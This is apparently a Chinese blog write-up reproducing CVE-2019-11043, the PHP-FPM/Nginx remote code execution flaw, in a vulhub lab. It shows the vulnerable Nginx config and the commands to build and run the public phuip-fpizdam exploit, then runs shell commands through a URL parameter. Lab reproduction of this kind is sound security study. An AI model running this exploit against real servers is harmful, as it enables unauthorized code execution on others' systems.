首页 > 编程语言 >CVE-2019-11043(PHP远程代码执行漏洞)复现

CVE-2019-11043(PHP远程代码执行漏洞)复现

时间:2023-07-16 13:22:33浏览次数:56  
标签:cgi php 11043 代码执行 go 2019 PHP fastcgi

一、漏洞介绍

1、相关背景

在web早期,页面都是以静态页面为主(如:HTML),没有动态页面的说法,所有还没有动态语言(如:PHP、JSP等)
后来Ngnix为支持PHP语言就将有出现php页面的请求给PHP相关程序来进行处理,然后将处理后的结果反馈给用户。而解决PHP的相关程序就是cgi协议,有了cgi协议以后,意味着以后出现新的动态语言(如:go语言),出现了新的Web服务器,只要遵循了cgi协议,就可以快速方便的实现语言解析器和Web服务器之间的通信问题。cgi协议的改良版本有很多,但是其中一个很具有代表性的就是fast-cgi协议。
Ngnix为解决PHP问题建立了php-cgiphp-fpm来支持cgi协议
php-cgi作用:处理和解析PHP脚本程序,通过调用PHP的php_execute_script函数来解析和运行PHP脚本
php-fpm作用:可以提供进程管理的相关功能
但在PHP5.4以后,php-fpm集成了解析功能,不在需要php-cgi解析
Ngnix处理php问题用到的Fastcgi,在Nginx实际配置中,对Fastcgi的解析,需要我们进行实际的配置存在CVE-2019-11043漏洞的Nginx相关配置如下所示:

location ~ [^/]\.php(/|$) {
    fastcgi_pass  127.0.0.1:9000; //指定了FastCGI 服务器的地址
    fastcgi_index index.php; //指定默认页面
    include fastcgi_params; //引入FastCGI的各项参数
    fastcgi_split_path_info ^(.+?\.php)(/.*)$; //漏洞出现的原因部分,匹配两个字符串,第一个匹配的是(.+?\.php),第二个是(/.*)。
    fastcgi_param PATH_INFO     $fastcgi_path_info; //第二个字符串会被赋值给$fastcgi_path_info参数
    fastcgi_param SCRIPT_FILENAME  $document_root$fastcgi_script_name; //匹配到的第一个字符串会被赋值给$fastcgi_script_name参数
}

详细解释参考:https://blog.csdn.net/weixin_40228200/article/details/128275754

2、漏洞产生原因

fastcgi_split_path_info在处理带有 %0a 的请求时,会因为遇到换行符(%0a)导致PATH_INFO为空,最终可导致任意代码执行。

3、漏洞复现

使用vulhub进行复现:https://vulhub.org/#/environments/php/CVE-2019-11043/
(1).在终端中打开vulhub文件夹进入到CVE-2019-11043目录中:cd vulhub/php/CVE-2019-11043
image.png
(2).使用命令:docker-compose build
image.png
(3).使用命令:docker-compose up -d (如果启动不起来的话是docker源的问题,换个源)
image.png
(4).查看端口:docker-compose config
image.png
(5).用浏览器访问
image.png
我们需要使用phuip-fpizdam工具来检测改漏洞
使用命令:git clone https://github.com/neex/phuip-fpizdam.git 下载
image.png
(6).进入phuip-fpizdam目录使用命令:
go env-wGOPROXY=https://goproxy.cn //需要先连接这个环境
go get -v&& go build
如果没有go命令的需要先下载go语言环境 apt install golang-go
image.png
(7).再执行命令:go run . "http://ip:8080/index.php"
image.png
我们可以在该页面中,使用参数a来传递执行的命令了
比如:pwd
image.png
由于受到php-fpm多个子进程影响,我们需要访问到php-fpm受污染的子进程才会使得上述payload执行成功,因此我们有时需要多访问几遍,才会出现相关结果。
参考:https://blog.csdn.net/weixin_40228200/article/details/128271912

标签:cgi,php,11043,代码执行,go,2019,PHP,fastcgi
From: https://www.cnblogs.com/tangyuan2211/p/17557736.html

相关文章

  • PHP调用Python无返回或提示No Module
    问题:自己通过命令行执行python正常,但通过php调用就没有反应。解决方法:1、首先检查一下php有没有执行权限,简单粗暴的:sudochmod777xxx.php2、Python如果有中文返回,似乎需要额外操作。可以先去掉中文排除掉其他原因,也可以尝试以下操作:在python文件头部加上importcodecssys.stdout......
  • php开发网络游戏中的一些技巧
    classMap//地图类{var$Map_ID;functionMap_bg_css($Map_ID){$this->Map_ID=$Map_ID;mysql_select_db($db_name,$link);$sql="select*frommapwhereMap_ID='".$this->Map_ID."'limit1";$result=mysql_query($sql,$link)......
  • php在开发网络游戏上的使用
    PHP即“超文本预处理器”,是一种通用开源脚本语言。PHP是在服务器端执行的脚本语言,与C语言类似,是常用的网站编程语言。PHP独特的语法混合了C、Java、Perl以及PHP自创的语法。利于学习,使用广泛,主要适用于Web开发领域。很多小伙伴在初学PHP的时候,都可能会有这样的疑问,PHP能开发游......
  • 在美国留学学习php对就业帮助有多少
    PHP是一种广泛应用于网站编程和动态网页开发的脚本语言,拥有着强大的服务器端编程功能。对于许多计算机专业的学生来说,学习PHP并赴美留学,已经成为了一种趋势。毕业之后,他们常常想知道自己在美国就业的前景如何。留学网将从不同角度来论述PHP留学生在美国就业的前景。正文:一、专业认......
  • 要在PHP中导入Excel文件并转换复杂的公式,可以使用PhpSpreadsheet库。这个库是PHPExcel
    要在PHP中导入Excel文件并转换复杂的公式,可以使用PhpSpreadsheet库。这个库是PHPExcel的继任者,提供了更多功能和更好的性能。下面是一个示例代码,展示了如何使用PhpSpreadsheet库导入Excel文件、读取和计算复杂的公式:```php// 引入PhpSpreadsheet库的Autoloaderrequire 'vendor/a......
  • API接口技术开发分享案例,拼多多获得搜索词推荐,接口支持高并发,PHP语言演示案例,支持对语
    ​接口获取数据响应参数接入pinduoduo.item_search_suggest-获得搜索词推荐 公共参数名称类型必须描述keyString是调用key(必须以GET方式拼接在URL中)secretString是调用密钥api_name......
  • $O00OO0=urldecode微盾php解密
    例如,如下代码:$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};如果要解密类似以上代码,第一步新建一个php文件,php文件的代码如下:<?......
  • PHPnow开启PHP扩展里openssl支持的方法
    PHPnow是Win32下绿色的Apache+PHP+MySQL环境套件包。简易安装、快速搭建支持虚拟主机的PHP环境。更多介绍《PHP服务套件PHPnow1.5.6》及安装《PHPnow快速搭建Apache+PHP+MySQL环境》。下面将分享PHPnow开启PHP扩展里openssl支持的方法。 打开你集成包的文件夹,找到......
  • 总监面(高级或架构):如何找到缓慢代码并判定代码执行效率,以及优化它的思路
    1、先使用一些集成测试插件(比如jmeter、metershpere)或者脚本定位到慢速接口,也可以通过日志分析cat|grep2、使用sonar、findbugs之类的插件定位复杂度较高的代码,(分析一下算法复杂度和空间复杂度)以及sql调用部分的代码3、先将调用的sql放到mysql上运行一遍,观测执行速度,如果存在......
  • mongodb 入门 和 php示例
    内容太多了,感觉不好写,就写点入门的吧,其他参考参考_MonogDB中文网(mongodb.net.cn)虽然内容是机器翻译的,但也还好,基本能看. 相关概念: database数据库collection集合,相当于数据库表document文档,相当于数据记录行 dockerrun-d--namemongo-p27017:27......